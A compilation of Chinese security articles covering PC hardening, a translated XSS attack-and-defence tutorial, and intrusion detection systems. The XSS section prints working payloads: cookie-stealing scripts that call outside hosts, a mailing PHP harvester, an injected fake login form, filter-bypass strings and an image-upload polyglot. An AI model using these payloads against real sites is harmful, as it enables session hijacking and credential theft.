在系统中安装杀毒软件主要用来防止黑客通过木马来控制我们的主机。当我们安装好杀毒软件后,一定要立即更新病毒库到最新状态,如有必要,还应当设置每天按时自动更新病毒库。
(2)安装防火墙
黑客的入侵活动通常是从扫描系统中是否开放有高危端口开始的,因此,禁用高危端口(如135、137、138、139、445、3389等)十分必要。虽然前面介绍了如何
通过手工的方式关闭系统高位端口,这里借助安全软件同样可以起到加固作用。同时,我们还应当限制系统中能够与互联网通信的进程和应用程序,以减少网络应用程序本身漏洞带来的安全风险。
虽然Windows XP系统本身带有一个“Internet 防火墙”,但它远远不能满足日益增长的安全防范需求,因此,我们通过安装第三方防火墙软件来解决这些问题。
现在市面上存在的防火墙不仅具有包过滤和应用程序跟踪的基本防火墙功能,它们还具有属于自己的独特功能。例如,Tiny Firewall防火墙。它不仅具有普通应用层防火墙的功能,还具有IDS、文件完整性检测和主动防御的功能。并且还为用户提供了一个实时网络连接监控功 能,可以让用户随时掌握当前的网络连接情况,了解连接的网络应用程序都使用了哪些端口,连接到了什么目标上,并直接显示出对方的IP地址。图1就是它的网 络连接监控界面。
(3)使用代理服务器
黑客要想扫描计算机,就必需先知道计算机连网公网IP地址。如果能够隐藏这个公网IP地址,将为黑客的攻击行为增加难度。隐藏IP地址最好的方 式就是使用代理服务器。对于普通的网络用户来说,可以通过使用HTTP代理和在计算机上安装简单的代理软件来达到隐藏IP地址的目的。
使用HTTP代理非常简单,进入提供此功能的网站,例如http://www.web4proxy.com/,如图2所示。在“开始浏览”按钮前的文本框中填入要访问的站点,就可以通过隐藏IP的方式浏览想访问的网站了。
但是,使用HTTP代理只能防止由于浏览网页而泄漏IP地址的风险,要想隐藏其它网络活动时的IP地址,例如进行的QQ聊天和玩网络游戏等网络应用,就必需通过在系统中安装代理服务器软件的方法来解决。
Waysonline是一个不需要安装的代理服务器软件,在使用前,要先免费注册
输入注帐户和密码后登录。此时,右击Windows任务栏中的绿色“W”图标,在此菜单中的“运行程序”菜单项中,可以由我们选择代理的各种方式。
二、防止主机成为肉鸡的安全管理措施
就算我们对系统的安全技术措施做得再好,如果不能对系统进行有效的安全管理和对自己的网络行为进行有效的控制,那么,这些已经实施了的安全技术措施,就成为了一种没有实际作用的摆设而已。
对系统实施安全管理措施可以分成两个部分来执行:其一为系统安全管理,其二就是用户网络操作行为管理。
1、系统安全管理
一个全面的系统安全管理应当包括下列所示的内容:
(1)操作系统漏洞补丁管理。为系统打补丁是一件非常重要的工作,我们可以通过360安全卫士的“修复系统漏洞”功能来完成。
(2)网络应用程序版本更新。我们应当及时升级QQ、MSN及网络浏览器等应用程序到最新版本。
(3)杀毒软件病毒库和防火墙规则审查。虽然杀毒软件都可以通过自动更新方式更新病毒库,我还是建议你养成按时手动更新病毒库的习惯,并且,在 每次手动杀毒前进行手动更新病毒库一次。同时,对于防火墙规则,尤其是应用程序规则,我们要经常检查是否添加了不明规则,以便及时取消。
(4)定期检查系统审核日志。经常检查这些审核产生的日志,能及时发现系统是否已经被入侵,或者已经受到过某种入侵行为的侵扰。
(5)在使用计算机过程中,要养成查看系统运行进程的习惯。通过360安全卫士的“系统全面诊断”就能查看到当前系统中正在运行的进程的详细信息。
(6)要经常查看目前的网络连接情况。如果你没有安装上面提到的Tiny Firewall防火墙,仍然可以通过360安全卫士“高级”选项卡中的“网络连接状态”来了解当前系统的网络连接状况。
2、用户网络操作行为控制
要控制的网络行为方面包括:
(1)使用安全性能高的浏览器。只去正规的网站浏览新闻,下载MP3、MP4和软件等。
(2)要养成只在浏览器地址栏中输入URL访问网站的习惯。例如,一些网上银行都使用了一种叫做EV-SSL认证的方式来标明网站的真实性,如 果用户发现自己IE8浏览器地址栏中的URL地址变成了绿色,那么就可以肯定这个网站是真实的。再加上不要轻易点击电子邮件或QQ等即时聊天软件界面中的 网站链接,就可以很好地减少被网络钓鱼攻击的风险。
(3)不要浏览色情、赌博等网站。
(4)不要轻易接受QQ或MSN好友发来的下载链接,除非你知道它们是安全可靠的。
(5)应当使用安全性能高的网络应用程序。例如搜索引擎最好使用Google,它能够将搜索到的可能含有某种安全风险的网站直接标识出来,并且不能进入。使用安全性高的应用程序,能大大减少被木马控制的风险。
(6)对于突然接到的某个自称是电信、计算机销售商及银行等企业的服务人员打来的电话,如果你不熟悉这个电话号码,或者不熟悉对方的声音,你一 定要提高警惕。尤其当他们向你询问有关系统、电子邮件、网上银行帐户等机密信息时,你一定要马上拒绝。我们只有对与此相似的事件保持高度的怀疑,才能有效 地防止黑客通过社会工程的方式来攻击我们。
总而言之,只有网络用户认识认真细致地对系统实施相应的安全技术和安全管理措施,才能在计算机生命周期的各个阶段防止自己的计算机成为黑客们的肉鸡。

跨站脚本-攻击和防御指向

先久以前翻译的一篇文章,在这里归下档。
原文:milw0rm.com
作者:Xylitol
翻译:老臧
摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造一个cookie攻击
4>保护XSS
5>笨方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 1 – 什么是XSS? :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案。 这次袭击使内容(脚本) ,在无特权区被执行与权
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击
用命令攻击要有如下两个步骤:
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
些恶意操作.
当这个攻击完成后,将有恶意软件(像蠕虫\远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 2 – XSS脚本攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
新建一个文本文档,把下面的代码放进:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action=”XSS.php” method=”post”>
<p align=”center”><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align=”center”>
<table width=”270″ border=”0″>
<tr>
<td width=”106″><strong>Search:</strong></td>
<td width=”154″><input name=”Vulnerability” type=”text” id=”Vulnerability” /></td>
</tr>
</table>
<table width=”268″ border=”0″>
<tr>
<td width=”262″><div align=”center”>
<input name=”submit” type=”submit” value=” Search it ! ” />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
然后,把这个页面保存为index.html
再新建一个文本文档,把下面的代码放进去:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Search result:</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<body>
<span>Search result :</span>&nbsp;<strong><?php echo $_POST[‘Vulnerability’]; ?></strong>&nbsp;
</body>
</html>
把文件另存为XSS.php
关闭记事本
在firefox里面打开index.html
输入一个值然后点search
返回页面输入
<script>alert(‘XSS’)</script>
发送表单
弹出一个对话框
_______________________________________
/ http://127.0.0.1 dit: X \
|________________________________________|
| |
| |
| ^ |
| / \ |
| / | \ XSS |
| / . \ |
| ——- |
| ______ |
| | OK | |
| —— |
|________________________________________|
XSS攻击这时产生了…
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 3 – 制造一个cookie攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
把这段代码插入到一个易受攻击的页面(如:留言板)
<script>
window.open(“http://www.lovelaozang.cn/cookie.php?cookies=”+document.cookie);
</script>
(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<? mail(’email@example.com’, ‘Cookie stealed ! – thx xyli :)’, $cookies); ?>
<body>
<h2><strong>Error</strong> – <strong>Access denied</strong> for <? echo $_SERVER[“REMOTE_ADDR”]; ?></h2>
</body>
</html>
这对于攻击者还不够,等着还不如接收电子邮件。
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 4 – 保护XSS :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
修补漏洞:
为修复XSS漏洞使用htmlentities
在第16行放置
<body>
<span>Search result :</span>&nbsp;<strong><?php echo $_POST[‘Vulnerability’]; ?></strong>&nbsp;
</body>
By:
<body>
<span>Search result :</span>&nbsp;<strong><?php
if(isset($_POST[‘Vulnerability’])) { echo htmlentities($_POST[‘Vulnerability’]); } ?></strong>&nbsp;
</body>
use htmlspecialchars() function in PHP 😉
other function:
htmlentities() quotes
strip_tags()

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 5 – 笨方法 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
利用image:
<IMG SRC=”http://lovelaozang.cn/xss.png”>
利用flash:
<EMBED SRC=”http://hax0r.com/Haxored.swf”>
重定向:
<script>window.open( “http://lovelaozang.cn/xss.html” )</script>
还有:
<meta http-equiv=”refresh” content=”0; url=http://lovelaozang.cn/xss.html” />
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 6 – 过滤绕过 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
事实上也不是那么简单就能绕过 htmlspecialchars()
这里有一些关于绕过xss的例子:
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0;URL=http://;URL=javascript:alert(‘XSS’);\”>
<META HTTP-EQUIV=\”refresh\”CONTENT=\”0;url=javascript:alert(‘XSS’);\”>
‘”>><marquee><h1>XSS</h1></marquee>
‘”>><script>alert(‘XSS’)</script>
‘>><marquee><h1>XSS</h1></marquee>
“><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert(‘XSS’)></iframe>
<div
style=”x:expression((window.r==1)?”:eval(‘r=1;alert(String.fromCharCo
de(88,83,83));’))”>
window.alert(“Xyli !”);
“/></a></><img src=1.gif onerror=alert(1)>
[color=red’ onmouseover=”alert(‘xss’)”]mouse over[/color]
<body onLoad=”alert(‘XSS’);”
<body onunload=”javascript:alert(‘XSS’);”>
click me
<script language=”JavaScript”>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
‘); alert(‘XSS
<font style=’color:expression(alert(document.cookie))’>
<IMG DYNSRC=\”javascript:alert(‘XSS’)\”>
<IMG LOWSRC=\”javascript:alert(‘XSS’)\”>
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
“><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\”jav&#x0D;ascript:alert(‘XSS’);\”>
<IMG SRC=\”jav&#x0A;ascript:alert(‘XSS’);\”>
<IMG SRC=\”jav&#x09;ascript:alert(‘XSS’);\”>
<marquee><script>alert(‘XSS’)</script></marquee>
<? echo(‘<scr)’;
echo(‘ipt>alert(\”XSS\”)</script>’); ?>
<IMG SRC=\”jav&#x0A;ascript:alert(‘XSS’);\”>
<IMG SRC=\”jav&#x09;ascript:alert(‘XSS’);\”>
<marquee><script>alert(‘XSS’)</script></marquee>
<style>@im\port’\ja\vasc\ript:alert(\”XSS\”)’;</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert(‘XSS’);</scr</script>ipt>
<script>location.href=”http://www.evilsite.org/cookiegrabber.php?cookie=”+
escape(document.cookie)</script>
<script src=”http://www.evilsite.org/cookiegrabber.php”></script>
<script>alert(‘XSS’);</script>
<script>alert(1);</script>
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 7 – Flash攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
Flash是用来做复杂的动画,模拟的,创造游戏等。
getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。
它的语法是这样的:getURL(url:String, [window: String,[method:String]])
如:
getURL(“http://lovelaozang.cn/login.php?logout=true”,”_self”);
url: 网站的地址
window: 指定框架要求(_self, _blank…)
method: 请求方法 GET or POST (by defect GET)
这里的处理动作和JavaScript以发布警报:
getURL(“javascript:alert(‘XSS'”);
在2002年表现出这种形式的危险
这种方式是一种可以发送用户的cookie的;
getURL(“javascript:alert(document.cookie)”)
在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本
攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵
用flash窃取cookie?
不是,但有技术的做:
如:
在一个FLASH文件:
GetURL(“http://www.victime.com/page.php?var=<script src=’http://www.lvoelaozang.cn/hack.js&#39;></script>”,”_self”);
在这个hack.js文件里面有如下代码:
document.location=”http://hax0r.com/cookiestealer.php?cookie=”+document.cookie;
这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用.
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 8 – XSS 上传 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert(“XSS”)</script>
保存退出.
上传hack.gif到相就的地方…此时跨站发生
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ?
因为很多上传程序会来检查我们的gif文件是否包含 ‘GIF89a’,如果包括则认为是gif文件.
GIF89a<script src=”http://lovelaozang.cn/cookiegrabber.php”></script>
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不要仅仅只检查getimagesize()
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 9 – XSS 钓鱼 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
你是否明白什么是钓鱼?什么是XSS?
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码
<p>Enter your login and password, thank:</p>
<form action=”http://hax0r.com/mail.php”>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<?php
$login = $HTTP_GET_VARS[“login”];
$password = $HTTP_GET_VARS[“password”];
mail(“email@example.com”, “Cookie stealed ! – thx xyli :)”, $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用户会认为,服务器可能超过了负载,并不会怀疑
我想大家现在应该明白了这个原理了 Welcome to laozang’s blog!

什么是IDS?入侵检测系统简介和原理

IDS是英文“Intrusion Detection Systems”的缩写,中文意思是“入侵检测系统”。专业上讲就是依照一定的安全策略,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。
入侵检测系统(Intrusion Detection System)就是对网络或操作系统上的可疑行为做出策略反应,及时切断资料入侵源、记录、并通过各种途径通知网络管理员,最大幅度地保障系统,是的合理 补充,帮助系统对付网络攻击,扩展系统管理员的管理能力(包括安全审计、监视、进攻识别和响应),提高信息安全基础结构的完整性,被认为是之后的第二道安 全闸门,它在不影响网络性能的情况下能对网络进行监测,从而提供对内部攻击、外部攻击和误操作的实时保护, 最大幅度地保障系统安全。它在网络安全技术中起到了不可替代的作用,是安全防御体系的一个重要组成部分。

IDS入侵检测系统[举例]

入侵检测系统的分类
入侵检测系统按照其数据来源来看,可以分为三类:
(1)基于主机的入侵检测系统
基于主机的入侵检测系统一般主要使用操作系统的审计跟踪*志作为输入,某些也会主动与主机系统进行交互以获得不存在于系统*志中的信息。其所收集的信息集中在系统调用和应用层审计上,试图从*志判断滥用和入侵事件的线索。
(2)基于网络的入侵检测系统
基于网络的入侵检测系统在通过在计算机网络中的某些点被动地监听网络上传输的原始流量,对获取的网络数据进行处理,从中获取有用的信息,再与已知攻击特征相匹配或与正常网络行为原型相比较来识别攻击事件。
(3)采用上述两种数据来源的分布式的入侵检测系统
这种入侵检测系统能够同时分析来自主机系统审计*志和网络数据流的入侵检测系统,一般为分布式结构,有多个部件组成。
入侵检测系统按照其采用的方法来看,可以分为三类:
(1)基于行为的入侵检测系统
基于行为的检测指根据使用者的行为或资源使用状况来判断是否入侵,而不依赖于具体行为是否出现来检测。这种入侵检测基于统计方法,使用系统或用户的活动 轮廓来检测入侵活动。审计系统实时的检测用户对系统的使用情况,根据系统内部保存的用户行为概率统计模型进行检测,当发现有可疑的用户行为发生时,保持跟 踪并监测、记录该用户的行为。系统要根据每个用户以前的历史行为,生成每个用户的历史行为记录库,当用户改变他们的行为习惯时,这种异常就会被检测出来。
(2)基于模型推理的入侵检测系统
基于模型推理的入侵检测根据入侵者在进行入侵时所执行的某些行为程序的特征,建立一种入侵行为模型,根据这种行为模型所代表的入侵意图的行为特征来判断 用户执行的操作是否是属于入侵行为。当然这种方法也是建立在对当前已知的入侵行为程序的基础之上的,对未知的入侵方法所执行的行为程序的模型识别需要进一 步的学习和扩展。
(3)采用两者混合检测的入侵检测系统
以上两种方法每一种都不能保证能准确地检测出变化无穷的入侵行为。一种融合以上两种技术的检测方法应运而生,这种入侵检测技术不仅可以利用模型推理的方法针对用户的行为进行判断而且同时运用了统计方法建立用户的行为统计模型,监控用户的异常行为。
入侵检测系统按照时间又可以分为两类:
(1)实时入侵检测系统
实时入侵检测在网络连接过程中进行,系统根据用户的历史行为模型、在计算机中的专家知识以及神经网络模型对用户当前的操作进行判断,一旦发现入侵迹象立即断开入侵者与主机的连接,并收集证据和实施数据恢复。这个检测过程是自动的、不断循环进行的。
(2)事后入侵检测系统
事后入侵检测由网络管理人员进行,他们具有网络安全的专业知识,根据计算机系统对用户操作所做的历史审计记录判断用户是否具有入侵行为,如果有就断开连 接,并记录入侵证据和进行数据恢复。事后入侵检测是管理员定期或不定期进行的,不具有实时性,因此防御入侵的能力不如实时入侵检测系统。
自从计算机以网络方式被连接开始,网络就成为一个重大问题,随着INTERNET的发展,系统的要求也与日俱增,其要求之一就是入侵检测系统。
本文旨在介绍几种常见的入侵检测系统及其理论和实践,需要指出的是,本文仅仅是一篇介绍性的文章,即使我推荐了许多可能的系统,在你相信其可靠性前,最好还是深入的研究一下他们。(NND,烦死我了,要敲4个字,以后我就简称ID得了。入侵检测系统就是IDS:-) )
一、什么是入侵检测。
入侵检测是指监视或者在可能的情况下,阻止入侵或者试图控制你的系统或者网络资源的那种努力。
简而言之,它的工作方式是这样的:你有台机器,被连接到网络上,也许就是被连到了INTERNET上,出于可以理解的原因,你也愿意为被授权者设置从网络上访问你的系统的许可。比如,你有以台连接到INTERNET上的WEB,愿意让客户、职员和潜在客户可以访问在WEB上的页面。
然而,你并不愿意那些未经授权的职员、顾客或者其他未经授权的第三方访问系统。比如,你不愿意除了公司雇佣的人员以外的人员可以修改储存在机器上的页面。典型的做法之一就是使用或者某种认证系统来防止未经授权的访问。
但是,在一些情况下,简单的使用或者认证系统也可以被攻破。入侵检测就是这样以种技术,它会对未经授权的连接企图作出反应,甚至可以抵御以部分可能的入侵。
那么,
二、为什么要使用ID呢?
以下给出了使用ID的理由:
(1)你需要保护自己的数据安全和系统,而事实是在现在的INTERNET环境下,如果你仅仅使用普通的密码和文件保护方式,你不可能永远保证你数据和系统的安全性。
(2)对于保护数据来说,没有什么比系统的安全更重要了,想就这么把你的机器连上INTETNET而不作任何防护,甚至连管理员密码都不设,就指望这台机器会太平无事,那简直是近乎于痴心妄想。同样,系统对核心文件或者授权数据库(比如NT的SAM和UNIX的/ETC/PASSWORD或者/ETC /SHADOW)的保护也是非常重要的。
(3)在通过局域网连接到INTERNET的环境下,经常会采用防火墙或者其他保护措施,如果在 NT环境下,如果开放了文件共享,或者允许TELNET,这台机器就需要更好的保护,比如在防火墙中对137-139端口(属于TCP/UDP),SMB 下的NT文件共享加以限制、使用SSH取代UNIX环境下的TELNET连接。
(4)ID还有进一步的作用,由于被放置在防火墙和被保护的系统之间,ID等于是在系统之上增加了以层保护。比如,通过ID对敏感端口的监测就可以判断防火墙是否已经被攻破,或者防护措施已经被灭了。
三、ID有哪些种类呢?
ID可以分为两大类,
(1)基于网络的系统:这种ID放置于网络之上,靠近被检测的系统,它们监测网络流量并判断是否正常。
(2)基于主机的系统:这种系统经常运行在被监测的系统之上,用以监测系统上正在运行的进程是否合法。我还想补充最近出现的一种ID:位于操作系统的内核之中并监测系统的最底层行为。所有这些系统最近已经可以被用于多种平台。
基于网络的ID
简介
基于网络的IDS是指监测整个网络流量的系统,一块网卡就可能会有两种用途:
普通模式: 受数据包里面所包含的MAC地址决定,数据被发送到目的主机。
任意模式(Promiscuous mode):所有可以被监测到的信息均被主机接收。
网卡可以在普通模式和任意模式之间进行切换,同样,使用操作系统的低级功能就可以完成这种变换。基于网络的IDS一般是需要把网卡设置成后以种模式。
包嗅探和网络监测
包嗅探和网络监测最初是为了监测以太网的流量而设计的,最初的代表性产品就是NOVEL的LANALYSER和MS的NETWORKMONITOR。
这些产品一般会拦截它们在网络上可疑拦截的一切数据包,当一个数据包被拦截后,可能会有以下几种情况:
对包进行累加,在截取的时间段内对数据包进行累加,用以确定该时间段内网络的负载,LANALYSER和MS的NM都在网络负载的表示界面方面有很好的表现。
对数据包进行分析:比如,当你想对抵达一个WEB服务器的数据进行分析时,你往往会先捕获一些数据,然后进行分析。
包嗅探工具在近年有了长足的发展,象ETHEREAL和新版的MSNM都可以对数据包进行详尽的分析。
最后罗嗦以句(NND,洋人就是P多):工具本身无善恶,全在人心,通过对连接到UNIX的TELNET连接进行包嗅探,就可能可以截取用户的密码,任何一个入侵者一旦得手,首先的事情就是会安装包嗅探器(NND,那是说高手,象俺最多在自己的机器上装个嗅探器,嘿嘿)
包嗅探与任意模式
所有包嗅探都需要网卡被设置为任意模式,因为仅在此模式下,所有通过网卡的数据可以被传送到嗅探器,包嗅探的使用前提是安装他的机器上使用者具有管理员权限
还有一点需要引起注意的是机的使用,请注意,不是HUB(NND,当我们中国人没见过机啊!),在交换机内,一个接口所接收的数据并不是一定会转发到另一个接口,所以,在这种情况下,包嗅探器并不一定可以发挥其作用。
基于网络的ID:嗅探器的发展
不幸的是,从安全的角度来看,包嗅探器好处有限。要去捕获每一个数据包,然后是分析、手工采取行动,实在是一件烦琐之至的事情,但是,如果用软件来代替我们的劳动呢?
这就是基于网络的ID要干的活。比如经常使用的ISS RealSecureEngine和Network Flight Recorder.
以下给出RealSecure Engine这种ID的作用:
监测网络上的数据传输情况。
如果数据为正常数据,允许其通过(或者留待以后分析),如果数据包被认为可能会危害目的地系统的安全,则发出”connectionclosed” (使用TCP时)或者”portunreachable’(使用ICMP时)以截断数据发送方和接收方之间的连接。
在这种情况下,RealSecure可以在防火墙后建立起以个有效的阻止系统,当然,也有在防火墙的位置直接使用RS的,而我(原作者-不是土鳖我啊!)不建议大伙采用这种方法。
基于网络的ID还有一些别的功能,比如:
监测明显的端口扫描。在攻陷系统之前,攻击者一般会扫描系统以发现系统的缺陷,一般说来,INTERNET上来自以台主机的端口扫描往往是有人开始攻击的先兆。
对常见的攻击方式加以监测。通过80端口连接到以台WEB服务器应该看来是以件很正常的事情,但是有些同样通过80端口进行的连接就可能是祸心内藏哦,看看这个命令你就知道了:
“GET /../../../etc/passwd HTTP/1.0”
鉴别各种IP欺骗。用于完成IP和MAC地址之间转换的ARP往往是攻击的重点,通过在以太网上向目的地址发布载有虚假ARP数据的数据包,入侵者可以将自己伪装成位于另外一个系统上,这样的结果就是各种拒绝服务攻击,当大型服务器(如DNS或者身份认证服务器)遭到攻击时,入侵者可以将数据包转发到自己的系统上。基于网络的IDS通过登记ARP包,对信息源(以太网地址)进行认定,如果确认信息来自于已经被攻陷的系统,则会对入侵者进行拦截。
如果探测到了有问题的行动,基于网络的ID会自行采取行动,包括重新配置附近的防火墙以拦截所有来自入侵者的数据流.
基于主机的ID
简介
当数据包抵达目的主机后,防火墙和网络监控已经无能为力了,但是还有以个办法可以试试,那就是“基于主机的ID”
基于主机的ID又可以分成两大类:
网络监测:这种监测对抵达主机的数据进行分析并试图确认哪些是潜在的威胁,任何连接都可能是潜在的入侵者所为,请注意,这点与基于网络的ID不同,因为它仅仅对已经抵达主机的数据进行监测,而后者则是对网络上的流量进行监控。如次一来就不需要把网卡设置成××模式了。
主机监测:任何入侵企图(或者成功的入侵)都会在监测文件、文件系统、登录记录或其他主机上的文件中留下痕迹,系统管理员们可以从这些文件中找到相关痕迹。
外来连接监测:
主机可以在数据包真正抵达主机之前对试图进入主机的数据包进行监测,以避免其进入系统后可能造成的损害。
可供选择的处理方式有:
监测未经授权的试图通过TCP或者UDP端口进行的连接,比如如果有人试图通过未开放任何服务的端口进行连接,就往往意味着有人在寻找系统漏洞。
监测端口扫描:在此我再推荐一种方式:调整防火墙或者调整本地IP配置(可以使用LINUX下的IPCHAINS)以拒绝来自可能的入侵者的连接请求。
值得推荐的两个文件是ISS的RealSecure Agent和PortSentry.
注册行为监测
即使网管做了最大的努力,安装了最新的IDS,入侵者也有可能使用无法被监测到的的手段来入侵系统,造成这种情况的重要可能之一就是入侵者使用包嗅探恩公工具已经取得了用户密码并能够合法登录系统。
HOSTSENTRY这样的产品的任务之一就是寻找系统的不寻常操作,对用户试图进行注册和注销进行监控,并就这些活动中不正常或者未曾预料的部分向系统管理员报警。
根操作监控
入侵者的最终目的是为了掌握被入侵主机上的根用户权限,如果一台WEB服务器规划的好的话,除了极少数的计划好的维修时间以外,根用户应该很少会有什么操作,但是根用户们也很少按照计划去进行检修,而是逮空就干,但是即使是这样,入侵者也很有可能在兔子都不拉屎的时间或者地方干出些什么事情来。
需要防御的战线还有以条:监视根用户或系统管理员

Linux下的IDS入侵检测工具

简单介绍几款Linux下的IDS入侵检测工具 psad、Apparmor、SELinuxu等.在之前的文章里也曾对入侵检测系统简介进行过介绍 。我们可以先去了解一下入侵检测系统原理和实践。
如果你只有一台电脑,那么对你而言花费大量的工夫仔细审查系统的弱点和问题是完全可能的。可能你并不真得希望这样,但却有此可能。不过,在现实世界中,我们需要一些好的工具来帮助我们监视系统,并向我们发出警告,告诉我们哪里可能出现问题,因此我们可以经常地轻松一下。入侵检测可能是一种令我们操心的问题之一。不过,事情总有两方面,幸好Linux的管理员们拥有可供选择的强大工具。最佳的策略是采用分层的方法,即将“老当益壮”的程序,如 Snort、iptables等老前辈与psad、Apparmor、SELinuxu等一些新生力量结合起来,借助强大的分析工具,我们就可以始终站在技术的前沿。
在现代,机器上的任何用户账户都有可能被用来作恶。笔者认为,将全部的重点都放在保护root上,就好像其它用户账户不重要一样,这是 Linux和Unix安全中一个长期存在的、慢性的弱点问题。一次简单的重装可以替换受损的系统文件,不过数据文件怎么办?任何入侵都拥有造成大量破坏的潜力。事实上,要散布垃圾邮件、复制敏感文件、提供虚假的音乐或电影文件、对其它系统发动攻击,根本就不需要获得对root的访问。
IDS新宠:PSAD
Psad是端口扫描攻击检测程序的简称,它作为一个新工具,可以与iptables和Snort等紧密合作,向我们展示所有试图进入网络的恶意企图。这是笔者首选的Linux入侵检测系统。它使用了许多snort工具,它可以与fwsnort和iptables的日志结合使用,意味着你甚至可以深入到应用层并执行一些内容分析。它可以像Nmap一样执行数据包头部的分析,向用户发出警告,甚至可以对其进行配置以便于自动阻止可疑的IP地址。
事实上,任何入侵检测系统的一个关键方面是捕获并分析大量的数据。如果不这样做,那只能是盲目乱来,并不能真正有效地调整IDS。我们可以将 PSAD的数据导出到AfterGlow 和 Gnuplot中,从而可以知道到底是谁正在攻击防火墙,而且是以一种很友好的界面展示。
老当益壮:Snort
